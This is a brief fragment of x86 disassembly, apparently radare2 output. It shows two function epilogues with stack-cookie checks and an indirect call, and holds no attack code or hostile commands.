or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret